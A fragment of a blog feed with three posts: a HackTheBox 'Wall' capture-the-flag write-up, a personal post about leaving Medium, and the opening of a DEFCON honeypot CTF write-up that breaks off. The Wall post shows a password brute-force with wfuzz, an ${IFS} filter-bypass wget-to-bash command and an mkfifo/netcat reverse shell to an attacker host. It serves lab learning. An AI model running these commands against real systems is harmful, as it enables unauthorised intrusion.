Wall","link":{"@attributes":{"href":"https:\/\/spoons.fyi\/2019\/12\/07\/hackthebox-wall.html","rel":"alternate"}},"published":"2019-12-07T00:00:00+01:00","updated":"2019-12-07T00:00:00+01:00","author":{"name":{}},"id":"tag:spoons.fyi,2019-12-07:\/2019\/12\/07\/hackthebox-wall.html","summary":"<p>Wall was as much a fun and educational box as it was frustrating and stretching my patience. It felt like the system was updated by the creator to have some features in place meant to annoy people trying to break in. Nevertheless, there are some nice WAF evasion techniques to \u2026<\/p>","content":"<p>Wall was as much a fun and educational box as it was frustrating and stretching my patience. It felt like the system was updated by the creator to have some features in place meant to annoy people trying to break in. Nevertheless, there are some nice WAF evasion techniques to consider here, as well as the lesson to never give up on enumeration Starting with a SYN scan, executing scripts where possible:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"c1\"># nmap -sS -sC -v -oN wall.nmap 10.10.10.157<\/span>\n\n<span class=\"c1\"># Nmap 7.80 scan initiated Thu Dec  5 13:32:45 2019 as: nmap -sS -sC -v -oN wall.nmap 10.10.10.157<\/span>\nIncreasing<span class=\"w\"> <\/span>send<span class=\"w\"> <\/span>delay<span class=\"w\"> <\/span><span class=\"k\">for<\/span><span class=\"w\"> <\/span><span class=\"m\">10<\/span>.10.10.157<span class=\"w\"> <\/span>from<span class=\"w\"> <\/span><span class=\"m\">0<\/span><span class=\"w\"> <\/span>to<span class=\"w\"> <\/span><span class=\"m\">5<\/span><span class=\"w\"> <\/span>due<span class=\"w\"> <\/span>to<span class=\"w\"> <\/span><span class=\"m\">193<\/span><span class=\"w\"> <\/span>out<span class=\"w\"> <\/span>of<span class=\"w\"> <\/span><span class=\"m\">642<\/span><span class=\"w\"> <\/span>dropped<span class=\"w\"> <\/span>probes<span class=\"w\"> <\/span>since<span class=\"w\"> <\/span>last<span class=\"w\"> <\/span>increase.\nNmap<span class=\"w\"> <\/span>scan<span class=\"w\"> <\/span>report<span class=\"w\"> <\/span><span class=\"k\">for<\/span><span class=\"w\"> <\/span><span class=\"m\">10<\/span>.10.10.157\nHost<span class=\"w\"> <\/span>is<span class=\"w\"> <\/span>up<span class=\"w\"> <\/span><span class=\"o\">(<\/span><span class=\"m\">0<\/span>.10s<span class=\"w\"> <\/span>latency<span class=\"o\">)<\/span>.\nNot<span class=\"w\"> <\/span>shown:<span class=\"w\"> <\/span><span class=\"m\">998<\/span><span class=\"w\"> <\/span>closed<span class=\"w\"> <\/span>ports\nPORT<span class=\"w\">   <\/span>STATE<span class=\"w\"> <\/span>SERVICE\n<span class=\"m\">22<\/span>\/tcp<span class=\"w\"> <\/span>open<span class=\"w\">  <\/span>ssh\n<span class=\"p\">|<\/span><span class=\"w\"> <\/span>ssh-hostkey:\n<span class=\"p\">|<\/span><span class=\"w\">   <\/span><span class=\"m\">2048<\/span><span class=\"w\"> <\/span>2e:93:41:04:23:ed:30:50:8d:0d:58:23:de:7f:2c:15<span class=\"w\"> <\/span><span class=\"o\">(<\/span>RSA<span class=\"o\">)<\/span>\n<span class=\"p\">|<\/span><span class=\"w\">   <\/span><span class=\"m\">256<\/span><span class=\"w\"> <\/span>4f:d5:d3:29:40:52:9e:62:58:36:11:06:72:85:1b:df<span class=\"w\"> <\/span><span class=\"o\">(<\/span>ECDSA<span class=\"o\">)<\/span>\n<span class=\"p\">|<\/span>_<span class=\"w\">  <\/span><span class=\"m\">256<\/span><span class=\"w\"> <\/span><span class=\"m\">21<\/span>:64:d0:c0:ff:1a:b4:29:0b:49:e1:11:81:b6:73:66<span class=\"w\"> <\/span><span class=\"o\">(<\/span>ED25519<span class=\"o\">)<\/span>\n<span class=\"m\">80<\/span>\/tcp<span class=\"w\"> <\/span>open<span class=\"w\">  <\/span>http\n<span class=\"p\">|<\/span><span class=\"w\"> <\/span>http-methods:\n<span class=\"p\">|<\/span>_<span class=\"w\">  <\/span>Supported<span class=\"w\"> <\/span>Methods:<span class=\"w\"> <\/span>GET<span class=\"w\"> <\/span>POST<span class=\"w\"> <\/span>OPTIONS<span class=\"w\"> <\/span>HEAD\n<span class=\"p\">|<\/span>_http-title:<span class=\"w\"> <\/span>Apache2<span class=\"w\"> <\/span>Ubuntu<span class=\"w\"> <\/span>Default<span class=\"w\"> <\/span>Page:<span class=\"w\"> <\/span>It<span class=\"w\"> <\/span>works\n\nRead<span class=\"w\"> <\/span>data<span class=\"w\"> <\/span>files<span class=\"w\"> <\/span>from:<span class=\"w\"> <\/span>\/usr\/bin\/..\/share\/nmap\n<span class=\"c1\"># Nmap done at Thu Dec  5 13:33:04 2019 -- 1 IP address (1 host up) scanned in 18.50 seconds<\/span>\n<\/code><\/pre><\/div>\n\n<p>SSH seems to support password-based login - just taking a note here. Port 80 shows the default Apache HTML page. Nothing special. Firing up Dirbuster with a medium-sized wordlist brings up some interesting results, however.<\/p>\n<div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-0\">\n    <a href=\"\/blog\/hackthebox-wall-write-up\/screenshot-from-2019-12-05-16-58-01.png\" data-pswp-width=\"693\" data-pswp-height=\"491\" target=\"_blank\">\n        <img src=\"\/blog\/hackthebox-wall-write-up\/screenshot-from-2019-12-05-16-58-01.png\" alt=\"Screenshot\" class=\"image-process-article-image\" \/>\n    <\/a>\n<\/div>\n<p>The PHP files simply return boring hardcoded strings that don't carry any meaningful information:<\/p>\n<div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-1\">\n    <a href=\"\/blog\/hackthebox-wall-write-up\/screenshot-from-2019-12-05-15-05-55.png\" data-pswp-width=\"338\" data-pswp-height=\"118\" target=\"_blank\">\n        <img src=\"\/blog\/hackthebox-wall-write-up\/screenshot-from-2019-12-05-15-05-55.png\" alt=\"Screenshot\" class=\"image-process-article-image\" \/>\n    <\/a>\n<\/div>\n<p><code>\/monitoring\/<\/code> looks interesting however. It has HTTP basic auth enabled. If we try different HTTP verbs on this endpoint, we find the following:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"c1\"># curl -X POST http:\/\/10.10.10.157\/monitoring\/<\/span>\nHTTP\/1.1<span class=\"w\"> <\/span><span class=\"m\">200<\/span><span class=\"w\"> <\/span>OK\nAccept-Ranges:<span class=\"w\"> <\/span>bytes\nConnection:<span class=\"w\"> <\/span>Keep-Alive\nContent-Encoding:<span class=\"w\"> <\/span>gzip\nContent-Length:<span class=\"w\"> <\/span><span class=\"m\">146<\/span>\nContent-Type:<span class=\"w\"> <\/span>text\/html\nDate:<span class=\"w\"> <\/span>Thu,<span class=\"w\"> <\/span><span class=\"m\">05<\/span><span class=\"w\"> <\/span>Dec<span class=\"w\"> <\/span><span class=\"m\">2019<\/span><span class=\"w\"> <\/span><span class=\"m\">15<\/span>:56:30<span class=\"w\"> <\/span>GMT\nETag:<span class=\"w\"> <\/span><span class=\"s2\">&quot;9a-58ccea50ba4c6-gzip&quot;<\/span>\nKeep-Alive:<span class=\"w\"> <\/span><span class=\"nv\">timeout<\/span><span class=\"o\">=<\/span><span class=\"m\">5<\/span>,<span class=\"w\"> <\/span><span class=\"nv\">max<\/span><span class=\"o\">=<\/span><span class=\"m\">100<\/span>\nLast-Modified:<span class=\"w\"> <\/span>Wed,<span class=\"w\"> <\/span><span class=\"m\">03<\/span><span class=\"w\"> <\/span>Jul<span class=\"w\"> <\/span><span class=\"m\">2019<\/span><span class=\"w\"> <\/span><span class=\"m\">22<\/span>:47:23<span class=\"w\"> <\/span>GMT\nServer:<span class=\"w\"> <\/span>Apache\/2.4.29<span class=\"w\"> <\/span><span class=\"o\">(<\/span>Ubuntu<span class=\"o\">)<\/span>\nVary:<span class=\"w\"> <\/span>Accept-Encoding\n\n&lt;h1&gt;This<span class=\"w\"> <\/span>page<span class=\"w\"> <\/span>is<span class=\"w\"> <\/span>not<span class=\"w\"> <\/span>ready<span class=\"w\"> <\/span>yet<span class=\"w\"> <\/span>!&lt;\/h1&gt;\n&lt;h2&gt;We<span class=\"w\"> <\/span>should<span class=\"w\"> <\/span>redirect<span class=\"w\"> <\/span>you<span class=\"w\"> <\/span>to<span class=\"w\"> <\/span>the<span class=\"w\"> <\/span>required<span class=\"w\"> <\/span>page<span class=\"w\"> <\/span>!&lt;\/h2&gt;\n\n&lt;meta<span class=\"w\"> <\/span>http-equiv<span class=\"o\">=<\/span><span class=\"s2\">&quot;refresh&quot;<\/span><span class=\"w\"> <\/span><span class=\"nv\">content<\/span><span class=\"o\">=<\/span><span class=\"s2\">&quot;0; URL=&#39;\/centreon&#39;&quot;<\/span><span class=\"w\"> <\/span>\/&gt;\n<\/code><\/pre><\/div>\n\n<p>Basic authentication was only enabled for GET requests and we get a redirect page to <code>\/centreon<\/code>, which, admittedly, was not part of my wordlist. :(<\/p>\n<div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-2\">\n    <a href=\"\/blog\/hackthebox-wall-write-up\/screenshot-from-2019-12-05-16-57-05.png\" data-pswp-width=\"1246\" data-pswp-height=\"535\" target=\"_blank\">\n        <img src=\"\/blog\/hackthebox-wall-write-up\/screenshot-from-2019-12-05-16-57-05.png\" alt=\"Screenshot\" class=\"image-process-article-image\" \/>\n    <\/a>\n<\/div>\n<p>We directly see the version here, <code>19.04.0<\/code>. A quick Google search reveals an <a href=\"https:\/\/www.exploit-db.com\/exploits\/47069\">authenticated remote code execution exploit<\/a> is available. Noted. Now we just have to find a login. The default credentials, <code>admin:centreon<\/code> do not work. After having looked everywhere, losing a good two hours in the process, the only chance seems to be brute force. In the Centreon API documentation we find <a href=\"https:\/\/documentation.centreon.com\/docs\/centreon\/en\/19.04\/api\/api_rest\/index.html#authentication\">a section on how to authenticate<\/a>. With that, let's fire up <code>wfuzz<\/code> and try some common passwords, assuming the default username, admin, has been kept in place.<\/p>\n<div class=\"highlight\"><pre><span><\/span><code>$<span class=\"w\"> <\/span>wfuzz<span class=\"w\"> <\/span>-w<span class=\"w\"> <\/span>..\/seclists\/Passwords\/Common-Credentials\/10k-most-common.txt<span class=\"w\"> <\/span>-c<span class=\"w\"> <\/span>-d<span class=\"w\"> <\/span><span class=\"s2\">&quot;username=admin&amp;password=FUZZ&quot;<\/span><span class=\"w\"> <\/span>--hc<span class=\"w\"> <\/span><span class=\"m\">403<\/span><span class=\"w\"> <\/span><span class=\"s1\">&#39;10.10.10.157\/centreon\/api\/index.php?action=authenticate&#39;<\/span>\n********************************************************\n*<span class=\"w\"> <\/span>Wfuzz<span class=\"w\"> <\/span><span class=\"m\">2<\/span>.4.2<span class=\"w\"> <\/span>-<span class=\"w\"> <\/span>The<span class=\"w\"> <\/span>Web<span class=\"w\"> <\/span>Fuzzer<span class=\"w\">                         <\/span>*\n********************************************************\n\nTarget:<span class=\"w\"> <\/span>http:\/\/10.10.10.157\/centreon\/api\/index.php?action<span class=\"o\">=<\/span>authenticate\nTotal<span class=\"w\"> <\/span>requests:<span class=\"w\"> <\/span><span class=\"nv\">10000<\/span>\n\n<span class=\"o\">===================================================================<\/span>\nID<span class=\"w\">           <\/span>Response<span class=\"w\">   <\/span>Lines<span class=\"w\">    <\/span>Word<span class=\"w\">     <\/span>Chars<span class=\"w\">       <\/span><span class=\"nv\">Payload<\/span>\n<span class=\"o\">===================================================================<\/span>\n\n<span class=\"m\">000000621<\/span>:<span class=\"w\">   <\/span><span class=\"m\">200<\/span><span class=\"w\">        <\/span><span class=\"m\">0<\/span><span class=\"w\"> <\/span>L<span class=\"w\">      <\/span><span class=\"m\">1<\/span><span class=\"w\"> <\/span>W<span class=\"w\">      <\/span><span class=\"m\">60<\/span><span class=\"w\"> <\/span>Ch<span class=\"w\">       <\/span><span class=\"s2\">&quot;password1&quot;<\/span>\n<\/code><\/pre><\/div>\n\n<p>That was quick. Now we can login. Checking out the functionality of Centreon, it is an application to monitor the state of hosts and manage infrastructure in general. The RCE code in the ExploitDB link above needed to be updated due to the additional sanitisation the challenge creator (who also is the exploit author!) added to the input field we need.<\/p>\n<p>I'd like to show an additional exploit though, where you game the system with the functionality it already provides. As an admin you have permissions to edit pollers. A poller can have a post-generation command attached to it. This is probably used for initialisation in legitimate use cases. For us, this already carries all the RCE capabilities we need.<\/p>\n<p>The input for the command to execute is sanitised and no spaces are allowed. We can easily circumvent this by referencing the <a href=\"https:\/\/en.wikipedia.org\/wiki\/Internal_field_separator\">internal field separator<\/a> variable in the shell environment we're later executing the command in. Our filled out command passing the WAF now looks like this:<\/p>\n<div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-3\">\n    <a href=\"\/blog\/hackthebox-wall-write-up\/screenshot-from-2019-12-07-17-01-51.png\" data-pswp-width=\"1128\" data-pswp-height=\"770\" target=\"_blank\">\n        <img src=\"\/blog\/hackthebox-wall-write-up\/screenshot-from-2019-12-07-17-01-51.png\" alt=\"Screenshot\" class=\"image-process-article-image\" \/>\n    <\/a>\n<\/div>\n<p>For convenient copy-paste, that is:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code>wget<span class=\"si\">${<\/span><span class=\"nv\">IFS<\/span><span class=\"si\">}<\/span>-qO-<span class=\"si\">${<\/span><span class=\"nv\">IFS<\/span><span class=\"si\">}<\/span>http:\/\/10.10.14.13\/legitfile<span class=\"si\">${<\/span><span class=\"nv\">IFS<\/span><span class=\"si\">}<\/span><span class=\"p\">|<\/span><span class=\"si\">${<\/span><span class=\"nv\">IFS<\/span><span class=\"si\">}<\/span>bash<span class=\"p\">;<\/span>\n<\/code><\/pre><\/div>\n\n<p>Our payload file we'll download with <code>wget<\/code> contains the following code:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code>rm<span class=\"w\"> <\/span>\/tmp\/f<span class=\"p\">;<\/span>mkfifo<span class=\"w\"> <\/span>\/tmp\/f<span class=\"p\">;<\/span>cat<span class=\"w\"> <\/span>\/tmp\/f<span class=\"p\">|<\/span>\/bin\/sh<span class=\"w\"> <\/span>-i<span class=\"w\"> <\/span><span class=\"m\">2<\/span>&gt;<span class=\"p\">&amp;<\/span><span class=\"m\">1<\/span><span class=\"p\">|<\/span>nc<span class=\"w\"> <\/span><span class=\"m\">10<\/span>.10.14.13<span class=\"w\"> <\/span><span class=\"m\">4444<\/span><span class=\"w\"> <\/span>&gt;\/tmp\/f\n<\/code><\/pre><\/div>\n\n<p>At the same time we fire up a simple HTTP server and a netcat listener on our attacker machine. Now we head to the poller overview and edit the default one to include our new post-generation command. Then we export it's configuration. We don't even want to generate the config files here, just running the post generation command is enough. Our server and listener are already waiting.<\/p>\n<div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-4\">\n    <a href=\"\/blog\/hackthebox-wall-write-up\/screenshot-from-2019-12-07-17-01-22.png\" data-pswp-width=\"913\" data-pswp-height=\"440\" target=\"_blank\">\n        <img src=\"\/blog\/hackthebox-wall-write-up\/screenshot-from-2019-12-07-17-01-22.png\" alt=\"Screenshot\" class=\"image-process-article-image\" \/>\n    <\/a>\n<\/div>\n<p>Hitting export, we notice the post-generation command is freezing. This means we most likely got an open connection:<\/p>\n<div class=\"pswp-gallery\" data-gallery-id=\"gallery-5\">\n    <a href=\"\/blog\/hackthebox-wall-write-up\/screenshot-from-2019-12-07-17-01-01.png\" data-pswp-width=\"527\" data-pswp-height=\"67\" target=\"_blank\">\n        <img src=\"\/blog\/hackthebox-wall-write-up\/screenshot-from-2019-12-07-17-01-01.png\" alt=\"Screenshot\" class=\"image-process-article-image\" \/>\n    <\/a>\n    <a href=\"\/blog\/hackthebox-wall-write-up\/screenshot-from-2019-12-07-17-01-10.png\" data-pswp-width=\"395\" data-pswp-height=\"211\" target=\"_blank\">\n        <img src=\"\/blog\/hackthebox-wall-write-up\/screenshot-from-2019-12-07-17-01-10.png\" alt=\"Screenshot\" class=\"image-process-article-image\" \/>\n    <\/a>\n<\/div>\n<p>Our <code>id<\/code> is<\/p>\n<div class=\"highlight\"><pre><span><\/span><code>uid=33(www-data) gid=33(www-data) groups=33(www-data),6000(centreon)\n<\/code><\/pre><\/div>\n\n<p>And <code>\/etc\/passwd<\/code> shows an interesting entry where the user flag might be:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"n\">shelby<\/span><span class=\"o\">:<\/span><span class=\"n\">x<\/span><span class=\"o\">:<\/span><span class=\"mi\">6001<\/span><span class=\"o\">:<\/span><span class=\"mi\">6001<\/span><span class=\"o\">::\/<\/span><span class=\"n\">home<\/span><span class=\"sr\">\/shelby:\/bin\/<\/span><span class=\"n\">bash<\/span>\n<\/code><\/pre><\/div>\n\n<p>We don't have permissions to access the file. Using <a href=\"https:\/\/github.com\/rebootuser\/LinEnum\">LinEnum<\/a> for enumeration we stumble across some interesting versions, among them screen 4.5.0 for which we have a <a href=\"https:\/\/www.exploit-db.com\/exploits\/41154\">local privilege escalation exploit<\/a> available. From there all it took was downloading the code through the Python HTTP server, executing it, and using the root privileges to access the user and the root flag. Wow, that was a quick escalation after such a painstaking process of enumeration and getting the initial shell. But at least I have learned about <code>${IFS}<\/code> and some other means of bypassing filters for my future payloads.<\/p>","category":{"@attributes":{"term":"Challenges"}}},{"title":"Dear Medium,","link":{"@attributes":{"href":"https:\/\/spoons.fyi\/2019\/11\/11\/dear-medium.html","rel":"alternate"}},"published":"2019-11-11T00:00:00+01:00","updated":"2019-11-11T00:00:00+01:00","author":{"name":{}},"id":"tag:spoons.fyi,2019-11-11:\/2019\/11\/11\/dear-medium.html","summary":"<p>My blogging journey has taken me far. I started writing articles about six years ago. Things got serious after I started studying Computer Science. Among the students of my class there was a lot of chatter. The tendency was that who was unable to communicate would soon start failing exams \u2026<\/p>","content":"<p>My blogging journey has taken me far. I started writing articles about six years ago. Things got serious after I started studying Computer Science. Among the students of my class there was a lot of chatter. The tendency was that who was unable to communicate would soon start failing exams and eventually quit. In this setting, I started writing technical articles, first on an intranet website. Later GitHub gists. Finally I made the step to host my own blog.<\/p>\n<h3>Humble beginnings<\/h3>\n<p>The journey begins with a hosted WordPress blog. The hosting company failed to update its instances properly, almost all features were blocked for plans I could affort, and after a year I went on (and they bankrupt).<\/p>\n<p>Continuing, I started hosting a static blog on GitHub pages. Using <a href=\"https:\/\/blog.getpelican.com\/\">Pelican<\/a> and Python as the weapons of my choice, I had a blast! Need a new theme? Get them all for <a href=\"https:\/\/github.com\/getpelican\/pelican\">free<\/a> or build your own <a href=\"https:\/\/github.com\/dmuhs\/hebe\">like I did<\/a>. Need more specific features tailored to your use case? The <a href=\"https:\/\/github.com\/getpelican\/pelican-plugins\">plugin repo<\/a> is enormous and gives plenty inspiration to build your own! To this day my old blog is <a href=\"https:\/\/github.com\/dmuhs\/dmuhs.github.io\/\">open-source<\/a>, including posts I never published anywhere else. After three beautiful years full of on-off hacking and publishing, I found it hard to \"get back into the flow\". Eventually I stopped maintaining the blog due to time constraints. By that time I was already working and other things were clearly more important.<\/p>\n<h2>A New Hope<\/h2>\n<p>And along came <a href=\"https:\/\/github.com\/dmuhs\/dmuhs.github.io\/\">Medium<\/a>. As I started to deal more and more with blockchain technology, I started to notice that a lot of publications lived there. Registration was free, so why not give it a shot? My first impression was great. So I decided to dive in head-first and went on to copy-paste all my posts - previously written in Markdown - to their new home, converting links, embeds, etc. along the way.<\/p>\n<p>Life continued. Soon I found solutions that I wanted to share with people in the software engineering community. After all, if you don't find what you're looking for online and end up doing it yourself, you should publish your approach and help out people just like yourself. Let's get writing then.<\/p>\n<h3>Syntax highlighting<\/h3>\n<p>Quickly I realized that code snippet syntax highlighting was not natively supported. The recommended solution by the Medium team? <a href=\"https:\/\/help.medium.com\/hc\/en-us\/articles\/215194537-Format-text\">Embed Gists<\/a>. Having implemented custom syntax highlighting logic in Pelican with both <a href=\"https:\/\/pygments.org\/\">Pygments<\/a> and <a href=\"https:\/\/prismjs.com\/\">Prism<\/a> in an afternoon hacking session, it boggled my mind that such a basic feature was missing.<\/p>\n<div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-0\">\n    <a href=\"\/blog\/dear-medium\/screenshot-from-2019-11-11-19-24-56-1.png\" data-pswp-width=\"534\" data-pswp-height=\"219\" target=\"_blank\">\n        <img src=\"\/blog\/dear-medium\/screenshot-from-2019-11-11-19-24-56-1.png\" alt=\"Image\" class=\"image-process-article-image\" \/>\n    <\/a>\n<\/div>\n<p>Because I already migrated my other content, I stuck with copy-pasting (yet again!) my previous code samples into Gists. Every. Single. One. It was frustrating but after a year of using Medium I got used to it. The feature was apparently not coming any time soon, and I got numb to the repetitive work after a while.<\/p>\n<h3>The metered paywall<\/h3>\n<p>One day I wanted to publish yet another article when a new element caught my eye.<\/p>\n<div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-1\">\n    <a href=\"\/blog\/dear-medium\/screenshot-from-2019-11-11-20-16-16.png\" data-pswp-width=\"577\" data-pswp-height=\"232\" target=\"_blank\">\n        <img src=\"\/blog\/dear-medium\/screenshot-from-2019-11-11-20-16-16.png\" alt=\"Image\" class=\"image-process-article-image\" \/>\n    <\/a>\n<\/div>\n<p>Alright, I guess I'll activate that option. I want people to find my content after all. Even though I can't help but feel blackmailed - and I'm the author! I won't dive too much into the issue of the fruitless work of writing a blog. There are plenty approaches trying to solve this problem, each of them sufficiently complex to justify its own article on the pro and contra. But come on, Medium, there has to be a better way than this!<\/p>\n<h3>My reader's experience<\/h3>\n<p>I do not do this for a living. My articles are fairly specific, and definitely do not have the quality of a professional writer. That said, it still fills me with joy whenever someone finds my articles helpful. It is a giving and taking, a harmony of exchanging knowledge and appreciation, enriching everyone involved in the process. Of course I care about maintaining this state, and so of course I care about how people consume my articles. Most use their mobile phone, an article found on <a href=\"https:\/\/news.ycombinator.com\/\">HackerNews<\/a>, a casual morning read on their way to work. I don't have to explain much about why I am worried about how my readers experience the things I publish. A screenshot says more than a thousand words.<\/p>\n<div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-2\">\n    <a href=\"\/blog\/dear-medium\/medium-website.png\" data-pswp-width=\"1080\" data-pswp-height=\"1719\" target=\"_blank\">\n        <img src=\"\/blog\/dear-medium\/medium-website.png\" alt=\"Image\" class=\"image-process-article-image\" \/>\n    <\/a>\n<\/div>\n<p>\"But Dominik\", I hear you say, \"Medium just wants you to use their app! Just use the app; things will improve!\"<\/p>\n<div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-3\">\n    <a href=\"\/blog\/dear-medium\/medium-app.png\" data-pswp-width=\"1080\" data-pswp-height=\"1818\" target=\"_blank\">\n        <img src=\"\/blog\/dear-medium\/medium-app.png\" alt=\"Image\" class=\"image-process-article-image\" \/>\n    <\/a>\n<\/div>\n<p>Dear Medium, if I actually wanted to publish my articles in the format above, I would write them on stamps. The missing features are okay, and I wholeheartedly agree that creative work and publishing should get rewarded with money. Mutilating my content and annoying my users is not a solution - it is going to drive people away from your platform and my publication alike. The key difference is that I can just move my content to greener pastures any time.<\/p>\n<h3>Back to the roots<\/h3>\n<p>A few weeks back I started looking at other blog platforms, managed and self-hosted. <a href=\"https:\/\/www.wix.com\/\">Wix<\/a>, <a href=\"https:\/\/www.squarespace.com\/\">Squarespace<\/a>, <a href=\"https:\/\/ghost.org\/\">Ghost<\/a>, WordPress, static site generators for GitHub pages such as <a href=\"https:\/\/jekyllrb.com\/\">Jekyll<\/a>, <a href=\"https:\/\/gohugo.io\/\">Hugo<\/a>, my trusty <a href=\"https:\/\/blog.getpelican.com\/\">Pelican<\/a>, and plenty more.<\/p>\n<p>Having compared the pricing\/server costs and maintenance overhead, a hosted solution on WordPress was the best solution. And checking it out now, things have drastically improved over the past years! I would still never, ever, ever host WordPress myself, or even touch the <a href=\"https:\/\/github.com\/WordPress\/WordPress\">slightest piece of PHP in it<\/a>, but dealing with the <a href=\"https:\/\/wordpress.com\/\">hosted service<\/a> you will encounter neither of these issues.<\/p>\n<p>So I yet again migrated my posts, configured a nice theme, made myself at home. Let's see where this chapter of my blogging journey leads me! The platforms may change, but the writing never stops.<\/p>","category":{"@attributes":{"term":"Personal"}}},{"title":"The DEFCON 27 Packet Hacking Village Honeypot Challenge","link":{"@attributes":{"href":"https:\/\/spoons.fyi\/2019\/08\/15\/the-defcon-27-packet-hacking-village-honeypot-challenge.html","rel":"alternate"}},"published":"2019-08-15T00:00:00+02:00","updated":"2019-08-15T00:00:00+02:00","author":{"name":{}},"id":"tag:spoons.fyi,2019-08-15:\/2019\/08\/15\/the-defcon-27-packet-hacking-village-honeypot-challenge.html","summary":"<p>This year marks the first time I got to attend DEFCON Las Vegas\u200a\u2014\u200aone of the largest hacker conferences in the world. There are a plethora of things to discover and try out. The talks can be streamed later, but the workshops and spontaneous gatherings? A challenge that caught my \u2026<\/p>","content":"<p>This year marks the first time I got to attend DEFCON Las Vegas\u200a\u2014\u200aone of the largest hacker conferences in the world. There are a plethora of things to discover and try out. The talks can be streamed later, but the workshops and spontaneous gatherings? A challenge that caught my eye was the honeypot challenge in the packet hacking village. The setting is simple: You gain access to an SSH honeypot. In there you find challenges to solve and gather the credentials to the next one. The goal was to escalate through five machines and gain the secret passphrase.<\/p>\n<h3>What makes this CTF so\u00a0special?<\/h3>\n<p>I have dealt quite a bit with application and network security. A lot of Capture the Flag (CTF) competitions are aimed at professionals to confront them with corner cases or brainteasers in their area of expertise. DEFCON is a very inclusive conference, however. This particular challenge was aimed at people who only brought along basic knowledge of the Linux command line.So without further ado, let\u2019s check out the challenges of this year and how to solve them!<\/p>\n<h3>Challenge 0: Getting Attention<\/h3>\n<p>The first challenge was to find out about the CTF. There were some funny notes left on the toilets of that floor. It just had an IP address and the word \"challenge\" written on it. Hell yeah, I\u2019m in!<\/p>\n<h3>Challenge 1:\u00a0Warmup<\/h3>\n<p>SSH\u2019ing into the box is easy\u200a\u2014\u200aany password is accepted. Inside we find a readme file:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"c1\"># cat readme.txt<\/span>\n<span class=\"nv\">R3JlYXQgam9iISBKdXN0IGdldHRpbmcgd2FybWVkIHVwIHRob3VnaC4uLgoxNzIuMjAuODcuOQpwYXNzd29yZDogbHVsbGFieSA<\/span><span class=\"o\">=<\/span>\n<\/code><\/pre><\/div>\n\n<p>Checking out the characters, that looks remarkably like base64 encoding. So let\u2019s try that:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code>$<span class=\"w\"> <\/span><span class=\"nb\">echo<\/span><span class=\"w\"> <\/span><span class=\"s1\">&#39;R3JlYXQgam9iISBKdXN0IGdldHRpbmcgd2FybWVkIHVwIHRob3VnaC4uLgoxNzIuMjAuODcuOQpwYXNzd29yZDogbHVsbGFieSA=&#39;<\/span><span class=\"w\"> <\/span><span class=\"p\">|<\/span><span class=\"w\"> <\/span>base64<span class=\"w\"> <\/span>-d\n<\/code><\/pre><\/div>\n\n<p>Great job! Just getting warmed up though\u2026<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"mf\">172.20.87.9<\/span>\n<span class=\"n\">password<\/span><span class=\"p\">:<\/span><span class=\"w\"> <\/span><span class=\"n\">lullaby<\/span>\n<\/code><\/pre><\/div>\n\n<p>Alright, that only took some seconds. Just getting warmed up, though.<\/p>\n<h3>Challenge 2: Refreshing on Encodings<\/h3>\n<p>On to the next challenge:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code>ssh<span class=\"w\"> <\/span>root@172.20.87.9\n<\/code><\/pre><\/div>\n\n<p>We find a single text file in the root directory, nothing else:<\/p>\n<blockquote>\n<p>Due to its use in writing Germanic, Romance, and other languages first in Europe and then in other parts of the world,\nand due to its use in Romanizing writing of other languages, it has become widespread (see Latin script). It is also\nused officially in China (separate from its ideographic writing) and has been adopted by Baltic and some \uff33lavic\nstates.<\/p>\n<p>The Latin alphabet evolved from the visually similar Cumaean Greek version of the Greek alphabet, which was itself\ndescended from the Phoenician abjad, which in turn derived from Egyptian hieroglyphics. The Etruscans, who ruled early\nRome, adopted the Cumaean Greek alphabet, which was modified over time to become the Etruscan alphabet, which was in\nturn adopted and further modified by the Romans to produce the Latin alphabet.<\/p>\n<p>During the Middle \u0391ges, the Latin alphabet was used (sometimes with modifications) for writing Romance languages,\nwhich are direct descendants of Latin, as well as Celtic, Germanic, Baltic, and some Slavic languages. With the age of\ncolonialism and Christian evangelism, the Latin script spread beyond Europe, coming into use for writing indigenous\nAmerican, Australian, Austronesian, Austroasiatic, and African languages. More recently, linguists have also tended to\nprefer the Latin script or the International Phonetic Alphabet (itself largely based on the Latin script) when\ntranscribing or creating written standards for non-European languages, such as the African \uff52eference alphabet.<\/p>\n<\/blockquote>\n<p>Note the weird spaces in e.g. the last sentence (i.e. the first <em>r<\/em> in <em>reference<\/em>)? These are characters in a different encoding. The text seems to be an hommage to the latin encoding, but the characters standing out are different. Looking at the hexdump of the file, things become more obvious. Non-ASCII characters stand out, because they are not printed by default:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"c1\"># xxd latin.txt<\/span>\n<span class=\"m\">00000000<\/span>:<span class=\"w\"> <\/span><span class=\"m\">4475<\/span><span class=\"w\"> <\/span><span class=\"m\">6520<\/span><span class=\"w\"> <\/span>746f<span class=\"w\"> <\/span><span class=\"m\">2069<\/span><span class=\"w\"> <\/span><span class=\"m\">7473<\/span><span class=\"w\"> <\/span><span class=\"m\">2075<\/span><span class=\"w\"> <\/span><span class=\"m\">7365<\/span><span class=\"w\"> <\/span><span class=\"m\">2069<\/span><span class=\"w\"> <\/span>Due<span class=\"w\"> <\/span>to<span class=\"w\"> <\/span>its<span class=\"w\"> <\/span>use<span class=\"w\"> <\/span>i\n<span class=\"m\">00000010<\/span>:<span class=\"w\"> <\/span>6e20<span class=\"w\"> <\/span><span class=\"m\">7772<\/span><span class=\"w\"> <\/span><span class=\"m\">6974<\/span><span class=\"w\"> <\/span>696e<span class=\"w\"> <\/span><span class=\"m\">6720<\/span><span class=\"w\"> <\/span><span 